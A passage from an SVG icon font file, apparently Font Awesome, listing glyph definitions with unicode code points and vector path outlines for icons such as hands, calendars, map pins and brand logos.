d="M640 1408q-53 0 -90.5 -37.5t-37.5 -90.5v-512v-384l-151 202q-41 54 -107 54q-52 0 -89 -38t-37 -90q0 -43 26 -77l384 -512q38 -51 102 -51h718q22 0 39.5 13.5t22.5 34.5l92 368q24 96 24 194v217q0 41 -28 71t-68 30t-68 -28t-28 -68h-32v61q0 48 -32 81.5t-80 33.5
q-46 0 -79 -33t-33 -79v-64h-32v90q0 55 -37 94.5t-91 39.5q-53 0 -90.5 -37.5t-37.5 -90.5v-96h-32v570q0 55 -37 94.5t-91 39.5zM640 1536q107 0 181.5 -77.5t74.5 -184.5v-220q22 2 32 2q99 0 173 -69q47 21 99 21q113 0 184 -87q27 7 56 7q94 0 159 -67.5t65 -161.5
v-217q0 -116 -28 -225l-92 -368q-16 -64 -68 -104.5t-118 -40.5h-718q-60 0 -114.5 27.5t-90.5 74.5l-384 512q-51 68 -51 154q0 105 74.5 180.5t179.5 75.5q71 0 130 -35v547q0 106 75 181t181 75zM768 128v384h-32v-384h32zM1024 128v384h-32v-384h32zM1280 128v384h-32
v-384h32z" />
    <glyph glyph-name="_566" unicode="&#xf25b;" 
d="M1288 889q60 0 107 -23q141 -63 141 -226v-177q0 -94 -23 -186l-85 -339q-21 -86 -90.5 -140t-157.5 -54h-668q-106 0 -181 75t-75 181v401l-239 628q-17 45 -17 91q0 106 75 181t181 75q80 0 145.5 -45.5t93.5 -119.5l17 -44v113q0 106 75 181t181 75t181 -75t75 -181
v-261q27 5 48 5q69 0 127.5 -36.5t88.5 -98.5zM1072 896q-33 0 -60.5 -18t-41.5 -48l-74 -163l-71 -155h55q50 0 90 -31.5t50 -80.5l154 338q10 20 10 46q0 46 -33 79t-79 33zM1293 761q-22 0 -40.5 -8t-29 -16t-23.5 -29.5t-17 -30.5t-17 -37l-132 -290q-10 -20 -10 -46
q0 -46 33 -79t79 -33q33 0 60.5 18t41.5 48l160 352q9 18 9 38q0 50 -32 81.5t-82 31.5zM128 1120q0 -22 8 -46l248 -650v-69l102 111q43 46 106 46h198l106 233v535q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5v-640h-64l-200 526q-14 37 -47 59.5t-73 22.5
q-53 0 -90.5 -37.5t-37.5 -90.5zM1180 -128q44 0 78.5 27t45.5 70l85 339q19 73 19 155v91l-141 -310q-17 -38 -53 -61t-78 -23q-53 0 -93.5 34.5t-48.5 86.5q-44 -57 -114 -57h-208v32h208q46 0 81 33t35 79t-31 79t-77 33h-296q-49 0 -82 -36l-126 -136v-308
q0 -53 37.5 -90.5t90.5 -37.5h668z" />
    <glyph glyph-name="_567" unicode="&#xf25c;" horiz-adv-x="1973" 
d="M857 992v-117q0 -13 -9.5 -22t-22.5 -9h-298v-812q0 -13 -9 -22.5t-22 -9.5h-135q-13 0 -22.5 9t-9.5 23v812h-297q-13 0 -22.5 9t-9.5 22v117q0 14 9 23t23 9h793q13 0 22.5 -9.5t9.5 -22.5zM1895 995l77 -961q1 -13 -8 -24q-10 -10 -23 -10h-134q-12 0 -21 8.5
t-10 20.5l-46 588l-189 -425q-8 -19 -29 -19h-120q-20 0 -29 19l-188 427l-45 -590q-1 -12 -10 -20.5t-21 -8.5h-135q-13 0 -23 10q-9 10 -9 24l78 961q1 12 10 20.5t21 8.5h142q20 0 29 -19l220 -520q10 -24 20 -51q3 7 9.5 24.5t10.5 26.5l221 520q9 19 29 19h141
q13 0 22 -8.5t10 -20.5z" />
    <glyph glyph-name="_568" unicode="&#xf25d;" horiz-adv-x="1792" 
d="M1042 833q0 88 -60 121q-33 18 -117 18h-123v-281h162q66 0 102 37t36 105zM1094 548l205 -373q8 -17 -1 -31q-8 -16 -27 -16h-152q-20 0 -28 17l-194 365h-155v-350q0 -14 -9 -23t-23 -9h-134q-14 0 -23 9t-9 23v960q0 14 9 23t23 9h294q128 0 190 -24q85 -31 134 -109
t49 -180q0 -92 -42.5 -165.5t-115.5 -109.5q6 -10 9 -16zM896 1376q-150 0 -286 -58.5t-234.5 -157t-157 -234.5t-58.5 -286t58.5 -286t157 -234.5t234.5 -157t286 -58.5t286 58.5t234.5 157t157 234.5t58.5 286t-58.5 286t-157 234.5t-234.5 157t-286 58.5zM1792 640
q0 -182 -71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
    <glyph glyph-name="_569" unicode="&#xf25e;" horiz-adv-x="1792" 
d="M605 303q153 0 257 104q14 18 3 36l-45 82q-6 13 -24 17q-16 2 -27 -11l-4 -3q-4 -4 -11.5 -10t-17.5 -13.5t-23.5 -14.5t-28.5 -13t-33.5 -9.5t-37.5 -3.5q-76 0 -125 50t-49 127q0 76 48 125.5t122 49.5q37 0 71.5 -14t50.5 -28l16 -14q11 -11 26 -10q16 2 24 14l53 78
q13 20 -2 39q-3 4 -11 12t-30 23.5t-48.5 28t-67.5 22.5t-86 10q-148 0 -246 -96.5t-98 -240.5q0 -146 97 -241.5t247 -95.5zM1235 303q153 0 257 104q14 18 4 36l-45 82q-8 14 -25 17q-16 2 -27 -11l-4 -3q-4 -4 -11.5 -10t-17.5 -13.5t-23.5 -14.5t-28.5 -13t-33.5 -9.5
t-37.5 -3.5q-76 0 -125 50t-49 127q0 76 48 125.5t122 49.5q37 0 71.5 -14t50.5 -28l16 -14q11 -11 26 -10q16 2 24 14l53 78q13 20 -2 39q-3 4 -11 12t-30 23.5t-48.5 28t-67.5 22.5t-86 10q-147 0 -245.5 -96.5t-98.5 -240.5q0 -146 97 -241.5t247 -95.5zM896 1376
q-150 0 -286 -58.5t-234.5 -157t-157 -234.5t-58.5 -286t58.5 -286t157 -234.5t234.5 -157t286 -58.5t286 58.5t234.5 157t157 234.5t58.5 286t-58.5 286t-157 234.5t-234.5 157t-286 58.5zM896 1536q182 0 348 -71t286 -191t191 -286t71 -348t-71 -348t-191 -286t-286 -191
t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71z" />
    <glyph glyph-name="f260" unicode="&#xf260;" horiz-adv-x="2048" 
d="M736 736l384 -384l-384 -384l-672 672l672 672l168 -168l-96 -96l-72 72l-480 -480l480 -480l193 193l-289 287zM1312 1312l672 -672l-672 -672l-168 168l96 96l72 -72l480 480l-480 480l-193 -193l289 -287l-96 -96l-384 384z" />
    <glyph glyph-name="f261" unicode="&#xf261;" horiz-adv-x="1792" 
d="M717 182l271 271l-279 279l-88 -88l192 -191l-96 -96l-279 279l279 279l40 -40l87 87l-127 128l-454 -454zM1075 190l454 454l-454 454l-271 -271l279 -279l88 88l-192 191l96 96l279 -279l-279 -279l-40 40l-87 -88zM1792 640q0 -182 -71 -348t-191 -286t-286 -191
t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
    <glyph glyph-name="_572" unicode="&#xf262;" horiz-adv-x="2304" 
d="M651 539q0 -39 -27.5 -66.5t-65.5 -27.5q-39 0 -66.5 27.5t-27.5 66.5q0 38 27.5 65.5t66.5 27.5q38 0 65.5 -27.5t27.5 -65.5zM1805 540q0 -39 -27.5 -66.5t-66.5 -27.5t-66.5 27.5t-27.5 66.5t27.5 66t66.5 27t66.5 -27t27.5 -66zM765 539q0 79 -56.5 136t-136.5 57
t-136.5 -56.5t-56.5 -136.5t56.5 -136.5t136.5 -56.5t136.5 56.5t56.5 136.5zM1918 540q0 80 -56.5 136.5t-136.5 56.5q-79 0 -136 -56.5t-57 -136.5t56.5 -136.5t136.5 -56.5t136.5 56.5t56.5 136.5zM850 539q0 -116 -81.5 -197.5t-196.5 -81.5q-116 0 -197.5 82t-81.5 197
t82 196.5t197 81.5t196.5 -81.5t81.5 -196.5zM2004 540q0 -115 -81.5 -196.5t-197.5 -81.5q-115 0 -196.5 81.5t-81.5 196.5t81.5 196.5t196.5 81.5q116 0 197.5 -81.5t81.5 -196.5zM1040 537q0 191 -135.5 326.5t-326.5 135.5q-125 0 -231 -62t-168 -168.5t-62 -231.5
t62 -231.5t168 -168.5t231 -62q191 0 326.5 135.5t135.5 326.5zM1708 1110q-254 111 -556 111q-319 0 -573 -110q117 0 223 -45.5t182.5 -122.5t122 -183t45.5 -223q0 115 43.5 219.5t118 180.5t177.5 123t217 50zM2187 537q0 191 -135 326.5t-326 135.5t-326.5 -135.5
t-135.5 -326.5t135.5 -326.5t326.5 -135.5t326 135.5t135 326.5zM1921 1103h383q-44 -51 -75 -114.5t-40 -114.5q110 -151 110 -337q0 -156 -77 -288t-209 -208.5t-287 -76.5q-133 0 -249 56t-196 155q-47 -56 -129 -179q-11 22 -53.5 82.5t-74.5 97.5
q-80 -99 -196.5 -155.5t-249.5 -56.5q-155 0 -287 76.5t-209 208.5t-77 288q0 186 110 337q-9 51 -40 114.5t-75 114.5h365q149 100 355 156.5t432 56.5q224 0 421 -56t348 -157z" />
    <glyph glyph-name="f263" unicode="&#xf263;" horiz-adv-x="1280" 
d="M640 629q-188 0 -321 133t-133 320q0 188 133 321t321 133t321 -133t133 -321q0 -187 -133 -320t-321 -133zM640 1306q-92 0 -157.5 -65.5t-65.5 -158.5q0 -92 65.5 -157.5t157.5 -65.5t157.5 65.5t65.5 157.5q0 93 -65.5 158.5t-157.5 65.5zM1163 574q13 -27 15 -49.5
t-4.5 -40.5t-26.5 -38.5t-42.5 -37t-61.5 -41.5q-115 -73 -315 -94l73 -72l267 -267q30 -31 30 -74t-30 -73l-12 -13q-31 -30 -74 -30t-74 30q-67 68 -267 268l-267 -268q-31 -30 -74 -30t-73 30l-12 13q-31 30 -31 73t31 74l267 267l72 72q-203 21 -317 94
q-39 25 -61.5 41.5t-42.5 37t-26.5 38.5t-4.5 40.5t15 49.5q10 20 28 35t42 22t56 -2t65 -35q5 -4 15 -11t43 -24.5t69 -30.5t92 -24t113 -11q91 0 174 25.5t120 50.5l38 25q33 26 65 35t56 2t42 -22t28 -35z" />
    <glyph glyph-name="_574" unicode="&#xf264;" 
d="M927 956q0 -66 -46.5 -112.5t-112.5 -46.5t-112.5 46.5t-46.5 112.5t46.5 112.5t112.5 46.5t112.5 -46.5t46.5 -112.5zM1141 593q-10 20 -28 32t-47.5 9.5t-60.5 -27.5q-10 -8 -29 -20t-81 -32t-127 -20t-124 18t-86 36l-27 18q-31 25 -60.5 27.5t-47.5 -9.5t-28 -32
q-22 -45 -2 -74.5t87 -73.5q83 -53 226 -67l-51 -52q-142 -142 -191 -190q-22 -22 -22 -52.5t22 -52.5l9 -9q22 -22 52.5 -22t52.5 22l191 191q114 -115 191 -191q22 -22 52.5 -22t52.5 22l9 9q22 22 22 52.5t-22 52.5l-191 190l-52 52q141 14 225 67q67 44 87 73.5t-2 74.5
zM1092 956q0 134 -95 229t-229 95t-229 -95t-95 -229t95 -229t229 -95t229 95t95 229zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="_575" unicode="&#xf265;" horiz-adv-x="1720" 
d="M1565 1408q65 0 110 -45.5t45 -110.5v-519q0 -176 -68 -336t-182.5 -275t-274 -182.5t-334.5 -67.5q-176 0 -335.5 67.5t-274.5 182.5t-183 275t-68 336v519q0 64 46 110t110 46h1409zM861 344q47 0 82 33l404 388q37 35 37 85q0 49 -34.5 83.5t-83.5 34.5q-47 0 -82 -33
l-323 -310l-323 310q-35 33 -81 33q-49 0 -83.5 -34.5t-34.5 -83.5q0 -51 36 -85l405 -388q33 -33 81 -33z" />
    <glyph glyph-name="_576" unicode="&#xf266;" horiz-adv-x="2304" 
d="M1494 -103l-295 695q-25 -49 -158.5 -305.5t-198.5 -389.5q-1 -1 -27.5 -0.5t-26.5 1.5q-82 193 -255.5 587t-259.5 596q-21 50 -66.5 107.5t-103.5 100.5t-102 43q0 5 -0.5 24t-0.5 27h583v-50q-39 -2 -79.5 -16t-66.5 -43t-10 -64q26 -59 216.5 -499t235.5 -540
q31 61 140 266.5t131 247.5q-19 39 -126 281t-136 295q-38 69 -201 71v50l513 -1v-47q-60 -2 -93.5 -25t-12.5 -69q33 -70 87 -189.5t86 -187.5q110 214 173 363q24 55 -10 79.5t-129 26.5q1 7 1 25v24q64 0 170.5 0.5t180 1t92.5 0.5v-49q-62 -2 -119 -33t-90 -81
l-213 -442q13 -33 127.5 -290t121.5 -274l441 1017q-14 38 -49.5 62.5t-65 31.5t-55.5 8v50l460 -4l1 -2l-1 -44q-139 -4 -201 -145q-526 -1216 -559 -1291h-49z" />
    <glyph glyph-name="_577" unicode="&#xf267;" horiz-adv-x="1792" 
d="M949 643q0 -26 -16.5 -45t-41.5 -19q-26 0 -45 16.5t-19 41.5q0 26 17 45t42 19t44 -16.5t19 -41.5zM964 585l350 581q-9 -8 -67.5 -62.5t-125.5 -116.5t-136.5 -127t-117 -110.5t-50.5 -51.5l-349 -580q7 7 67 62t126 116.5t136 127t117 111t50 50.5zM1611 640
q0 -201 -104 -371q-3 2 -17 11t-26.5 16.5t-16.5 7.5q-13 0 -13 -13q0 -10 59 -44q-74 -112 -184.5 -190.5t-241.5 -110.5l-16 67q-1 10 -15 10q-5 0 -8 -5.5t-2 -9.5l16 -68q-72 -15 -146 -15q-199 0 -372 105q1 2 13 20.5t21.5 33.5t9.5 19q0 13 -13 13q-6 0 -17 -14.5
t-22.5 -34.5t-13.5 -23q-113 75 -192 187.5t-110 244.5l69 15q10 3 10 15q0 5 -5.5 8t-10.5 2l-68 -15q-14 72 -14 139q0 206 109 379q2 -1 18.5 -12t30 -19t17.5 -8q13 0 13 12q0 6 -12.5 15.5t-32.5 21.5l-20 12q77 112 189 189t244 107l15 -67q2 -10 15 -10q5 0 8 5.5
t2 10.5l-15 66q71 13 134 13q204 0 379 -109q-39 -56 -39 -65q0 -13 12 -13q11 0 48 64q111 -75 187.5 -186t107.5 -241l-56 -12q-10 -2 -10 -16q0 -5 5.5 -8t9.5 -2l57 13q14 -72 14 -140zM1696 640q0 163 -63.5 311t-170.5 255t-255 170.5t-311 63.5t-311 -63.5
t-255 -170.5t-170.5 -255t-63.5 -311t63.5 -311t170.5 -255t255 -170.5t311 -63.5t311 63.5t255 170.5t170.5 255t63.5 311zM1792 640q0 -182 -71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71t286 -191
t191 -286t71 -348z" />
    <glyph glyph-name="_578" unicode="&#xf268;" horiz-adv-x="1792" 
d="M893 1536q240 2 451 -120q232 -134 352 -372l-742 39q-160 9 -294 -74.5t-185 -229.5l-276 424q128 159 311 245.5t383 87.5zM146 1131l337 -663q72 -143 211 -217t293 -45l-230 -451q-212 33 -385 157.5t-272.5 316t-99.5 411.5q0 267 146 491zM1732 962
q58 -150 59.5 -310.5t-48.5 -306t-153 -272t-246 -209.5q-230 -133 -498 -119l405 623q88 131 82.5 290.5t-106.5 277.5zM896 942q125 0 213.5 -88.5t88.5 -213.5t-88.5 -213.5t-213.5 -88.5t-213.5 88.5t-88.5 213.5t88.5 213.5t213.5 88.5z" />
    <glyph glyph-name="_579" unicode="&#xf269;" horiz-adv-x="1792" 
d="M903 -256q-283 0 -504.5 150.5t-329.5 398.5q-58 131 -67 301t26 332.5t111 312t179 242.5l-11 -281q11 14 68 15.5t70 -15.5q42 81 160.5 138t234.5 59q-54 -45 -119.5 -148.5t-58.5 -163.5q25 -8 62.5 -13.5t63 -7.5t68 -4t50.5 -3q15 -5 9.5 -45.5t-30.5 -75.5
q-5 -7 -16.5 -18.5t-56.5 -35.5t-101 -34l15 -189l-139 67q-18 -43 -7.5 -81.5t36 -66.5t65.5 -41.5t81 -6.5q51 9 98 34.5t83.5 45t73.5 17.5q61 -4 89.5 -33t19.5 -65q-1 -2 -2.5 -5.5t-8.5 -12.5t-18 -15.5t-31.5 -10.5t-46.5 -1q-60 -95 -144.5 -135.5t-209.5 -29.5
q74 -61 162.5 -82.5t168.5 -6t154.5 52t128 87.5t80.5 104q43 91 39 192.5t-37.5 188.5t-78.5 125q87 -38 137 -79.5t77 -112.5q15 170 -57.5 343t-209.5 284q265 -77 412 -279.5t151 -517.5q2 -127 -40.5 -255t-123.5 -238t-189 -196t-247.5 -135.5t-288.5 -49.5z" />
    <glyph glyph-name="_580" unicode="&#xf26a;" horiz-adv-x="1792" 
d="M1493 1308q-165 110 -359 110q-155 0 -293 -73t-240 -200q-75 -93 -119.5 -218t-48.5 -266v-42q4 -141 48.5 -266t119.5 -218q102 -127 240 -200t293 -73q194 0 359 110q-121 -108 -274.5 -168t-322.5 -60q-29 0 -43 1q-175 8 -333 82t-272 193t-181 281t-67 339
q0 182 71 348t191 286t286 191t348 71h3q168 -1 320.5 -60.5t273.5 -167.5zM1792 640q0 -192 -77 -362.5t-213 -296.5q-104 -63 -222 -63q-137 0 -255 84q154 56 253.5 233t99.5 405q0 227 -99 404t-253 234q119 83 254 83q119 0 226 -65q135 -125 210.5 -295t75.5 -361z
" />
    <glyph glyph-name="_581" unicode="&#xf26b;" horiz-adv-x="1792" 
d="M1792 599q0 -56 -7 -104h-1151q0 -146 109.5 -244.5t257.5 -98.5q99 0 185.5 46.5t136.5 130.5h423q-56 -159 -170.5 -281t-267.5 -188.5t-321 -66.5q-187 0 -356 83q-228 -116 -394 -116q-237 0 -237 263q0 115 45 275q17 60 109 229q199 360 475 606
q-184 -79 -427 -354q63 274 283.5 449.5t501.5 175.5q30 0 45 -1q255 117 433 117q64 0 116 -13t94.5 -40.5t66.5 -76.5t24 -115q0 -116 -75 -286q101 -182 101 -390zM1722 1239q0 83 -53 132t-137 49q-108 0 -254 -70q121 -47 222.5 -131.5t170.5 -195.5q51 135 51 216z
M128 2q0 -86 48.5 -132.5t134.5 -46.5q115 0 266 83q-122 72 -213.5 183t-137.5 245q-98 -205 -98 -332zM632 715h728q-5 142 -113 237t-251 95q-144 0 -251.5 -95t-112.5 -237z" />
    <glyph glyph-name="_582" unicode="&#xf26c;" horiz-adv-x="2048" 
d="M1792 288v960q0 13 -9.5 22.5t-22.5 9.5h-1600q-13 0 -22.5 -9.5t-9.5 -22.5v-960q0 -13 9.5 -22.5t22.5 -9.5h1600q13 0 22.5 9.5t9.5 22.5zM1920 1248v-960q0 -66 -47 -113t-113 -47h-736v-128h352q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-832q-14 0 -23 9t-9 23
v64q0 14 9 23t23 9h352v128h-736q-66 0 -113 47t-47 113v960q0 66 47 113t113 47h1600q66 0 113 -47t47 -113z" />
    <glyph glyph-name="_583" unicode="&#xf26d;" horiz-adv-x="1792" 
d="M138 1408h197q-70 -64 -126 -149q-36 -56 -59 -115t-30 -125.5t-8.5 -120t10.5 -132t21 -126t28 -136.5q4 -19 6 -28q51 -238 81 -329q57 -171 152 -275h-272q-48 0 -82 34t-34 82v1304q0 48 34 82t82 34zM1346 1408h308q48 0 82 -34t34 -82v-1304q0 -48 -34 -82t-82 -34
h-178q212 210 196 565l-469 -101q-2 -45 -12 -82t-31 -72t-59.5 -59.5t-93.5 -36.5q-123 -26 -199 40q-32 27 -53 61t-51.5 129t-64.5 258q-35 163 -45.5 263t-5.5 139t23 77q20 41 62.5 73t102.5 45q45 12 83.5 6.5t67 -17t54 -35t43 -48t34.5 -56.5l468 100
q-68 175 -180 287z" />
    <glyph glyph-name="_584" unicode="&#xf26e;" 
d="M1401 -11l-6 -6q-113 -113 -259 -175q-154 -64 -317 -64q-165 0 -317 64q-148 63 -259 175q-113 112 -175 258q-42 103 -54 189q-4 28 48 36q51 8 56 -20q1 -1 1 -4q18 -90 46 -159q50 -124 152 -226q98 -98 226 -152q132 -56 276 -56q143 0 276 56q128 55 225 152l6 6
q10 10 25 6q12 -3 33 -22q36 -37 17 -58zM929 604l-66 -66l63 -63q21 -21 -7 -49q-17 -17 -32 -17q-10 0 -19 10l-62 61l-66 -66q-5 -5 -15 -5q-15 0 -31 16l-2 2q-18 15 -18 29q0 7 8 17l66 65l-66 66q-16 16 14 45q18 18 31 18q6 0 13 -5l65 -66l65 65q18 17 48 -13
q27 -27 11 -44zM1400 547q0 -118 -46 -228q-45 -105 -126 -186q-80 -80 -187 -126t-228 -46t-228 46t-187 126q-82 82 -125 186q-15 33 -15 40h-1q-9 27 43 44q50 16 60 -12q37 -99 97 -167h1v339v2q3 136 102 232q105 103 253 103q147 0 251 -103t104 -249
q0 -147 -104.5 -251t-250.5 -104q-58 0 -112 16q-28 11 -13 61q16 51 44 43l14 -3q14 -3 33 -6t30 -3q104 0 176 71.5t72 174.5q0 101 -72 171q-71 71 -175 71q-107 0 -178 -80q-64 -72 -64 -160v-413q110 -67 242 -67q96 0 185 36.5t156 103.5t103.5 155t36.5 183
q0 198 -141 339q-140 140 -339 140q-200 0 -340 -140q-53 -53 -77 -87l-2 -2q-8 -11 -13 -15.5t-21.5 -9.5t-38.5 3q-21 5 -36.5 16.5t-15.5 26.5v680q0 15 10.5 26.5t27.5 11.5h877q30 0 30 -55t-30 -55h-811v-483h1q40 42 102 84t108 61q109 46 231 46q121 0 228 -46
t187 -126q81 -81 126 -186q46 -112 46 -229zM1369 1128q9 -8 9 -18t-5.5 -18t-16.5 -21q-26 -26 -39 -26q-9 0 -16 7q-106 91 -207 133q-128 56 -276 56q-133 0 -262 -49q-27 -10 -45 37q-9 25 -8 38q3 16 16 20q130 57 299 57q164 0 316 -64q137 -58 235 -152z" />
    <glyph glyph-name="_585" unicode="&#xf270;" horiz-adv-x="1792" 
d="M1551 60q15 6 26 3t11 -17.5t-15 -33.5q-13 -16 -44 -43.5t-95.5 -68t-141 -74t-188 -58t-229.5 -24.5q-119 0 -238 31t-209 76.5t-172.5 104t-132.5 105t-84 87.5q-8 9 -10 16.5t1 12t8 7t11.5 2t11.5 -4.5q192 -117 300 -166q389 -176 799 -90q190 40 391 135z
M1758 175q11 -16 2.5 -69.5t-28.5 -102.5q-34 -83 -85 -124q-17 -14 -26 -9t0 24q21 45 44.5 121.5t6.5 98.5q-5 7 -15.5 11.5t-27 6t-29.5 2.5t-35 0t-31.5 -2t-31 -3t-22.5 -2q-6 -1 -13 -1.5t-11 -1t-8.5 -1t-7 -0.5h-5.5h-4.5t-3 0.5t-2 1.5l-1.5 3q-6 16 47 40t103 30
q46 7 108 1t76 -24zM1364 618q0 -31 13.5 -64t32 -58t37.5 -46t33 -32l13 -11l-227 -224q-40 37 -79 75.5t-58 58.5l-19 20q-11 11 -25 33q-38 -59 -97.5 -102.5t-127.5 -63.5t-140 -23t-137.5 21t-117.5 65.5t-83 113t-31 162.5q0 84 28 154t72 116.5t106.5 83t122.5 57
t130 34.5t119.5 18.5t99.5 6.5v127q0 65 -21 97q-34 53 -121 53q-6 0 -16.5 -1t-40.5 -12t-56 -29.5t-56 -59.5t-48 -96l-294 27q0 60 22 119t67 113t108 95t151.5 65.5t190.5 24.5q100 0 181 -25t129.5 -61.5t81 -83t45 -86t12.5 -73.5v-589zM692 597q0 -86 70 -133
q66 -44 139 -22q84 25 114 123q14 45 14 101v162q-59 -2 -111 -12t-106.5 -33.5t-87 -71t-32.5 -114.5z" />
    <glyph glyph-name="_586" unicode="&#xf271;" horiz-adv-x="1792" 
d="M1536 1280q52 0 90 -38t38 -90v-1280q0 -52 -38 -90t-90 -38h-1408q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h128v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h384v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h128zM1152 1376v-288q0 -14 9 -23t23 -9
h64q14 0 23 9t9 23v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23zM384 1376v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23zM1536 -128v1024h-1408v-1024h1408zM896 448h224q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-224
v-224q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v224h-224q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h224v224q0 14 9 23t23 9h64q14 0 23 -9t9 -23v-224z" />
    <glyph glyph-name="_587" unicode="&#xf272;" horiz-adv-x="1792" 
d="M1152 416v-64q0 -14 -9 -23t-23 -9h-576q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h576q14 0 23 -9t9 -23zM128 -128h1408v1024h-1408v-1024zM512 1088v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1280 1088v288q0 14 -9 23
t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1664 1152v-1280q0 -52 -38 -90t-90 -38h-1408q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h128v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h384v96q0 66 47 113t113 47h64q66 0 113 -47
t47 -113v-96h128q52 0 90 -38t38 -90z" />
    <glyph glyph-name="_588" unicode="&#xf273;" horiz-adv-x="1792" 
d="M1111 151l-46 -46q-9 -9 -22 -9t-23 9l-188 189l-188 -189q-10 -9 -23 -9t-22 9l-46 46q-9 9 -9 22t9 23l189 188l-189 188q-9 10 -9 23t9 22l46 46q9 9 22 9t23 -9l188 -188l188 188q10 9 23 9t22 -9l46 -46q9 -9 9 -22t-9 -23l-188 -188l188 -188q9 -10 9 -23t-9 -22z
M128 -128h1408v1024h-1408v-1024zM512 1088v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1280 1088v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1664 1152v-1280
q0 -52 -38 -90t-90 -38h-1408q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h128v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h384v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h128q52 0 90 -38t38 -90z" />
    <glyph glyph-name="_589" unicode="&#xf274;" horiz-adv-x="1792" 
d="M1303 572l-512 -512q-10 -9 -23 -9t-23 9l-288 288q-9 10 -9 23t9 22l46 46q9 9 22 9t23 -9l220 -220l444 444q10 9 23 9t22 -9l46 -46q9 -9 9 -22t-9 -23zM128 -128h1408v1024h-1408v-1024zM512 1088v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23
t23 -9h64q14 0 23 9t9 23zM1280 1088v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1664 1152v-1280q0 -52 -38 -90t-90 -38h-1408q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h128v96q0 66 47 113t113 47h64q66 0 113 -47
t47 -113v-96h384v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h128q52 0 90 -38t38 -90z" />
    <glyph glyph-name="_590" unicode="&#xf275;" horiz-adv-x="1792" 
d="M448 1536q26 0 45 -19t19 -45v-891l536 429q17 14 40 14q26 0 45 -19t19 -45v-379l536 429q17 14 40 14q26 0 45 -19t19 -45v-1152q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v1664q0 26 19 45t45 19h384z" />
    <glyph glyph-name="_591" unicode="&#xf276;" horiz-adv-x="1024" 
d="M512 448q66 0 128 15v-655q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v655q62 -15 128 -15zM512 1536q212 0 362 -150t150 -362t-150 -362t-362 -150t-362 150t-150 362t150 362t362 150zM512 1312q14 0 23 9t9 23t-9 23t-23 9q-146 0 -249 -103t-103 -249
q0 -14 9 -23t23 -9t23 9t9 23q0 119 84.5 203.5t203.5 84.5z" />
    <glyph glyph-name="_592" unicode="&#xf277;" horiz-adv-x="1792" 
d="M1745 1239q10 -10 10 -23t-10 -23l-141 -141q-28 -28 -68 -28h-1344q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h576v64q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-64h512q40 0 68 -28zM768 320h256v-512q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v512zM1600 768
q26 0 45 -19t19 -45v-256q0 -26 -19 -45t-45 -19h-1344q-40 0 -68 28l-141 141q-10 10 -10 23t10 23l141 141q28 28 68 28h512v192h256v-192h576z" />
    <glyph glyph-name="_593" unicode="&#xf278;" horiz-adv-x="2048" 
d="M2020 1525q28 -20 28 -53v-1408q0 -20 -11 -36t-29 -23l-640 -256q-24 -11 -48 0l-616 246l-616 -246q-10 -5 -24 -5q-19 0 -36 11q-28 20 -28 53v1408q0 20 11 36t29 23l640 256q24 11 48 0l616 -246l616 246q32 13 60 -6zM736 1390v-1270l576 -230v1270zM128 1173
v-1270l544 217v1270zM1920 107v1270l-544 -217v-1270z" />
    <glyph glyph-name="_594" unicode="&#xf279;" horiz-adv-x="1792" 
d="M512 1536q13 0 22.5 -9.5t9.5 -22.5v-1472q0 -20 -17 -28l-480 -256q-7 -4 -15 -4q-13 0 -22.5 9.5t-9.5 22.5v1472q0 20 17 28l480 256q7 4 15 4zM1760 1536q13 0 22.5 -9.5t9.5 -22.5v-1472q0 -20 -17 -28l-480 -256q-7 -4 -15 -4q-13 0 -22.5 9.5t-9.5 22.5v1472
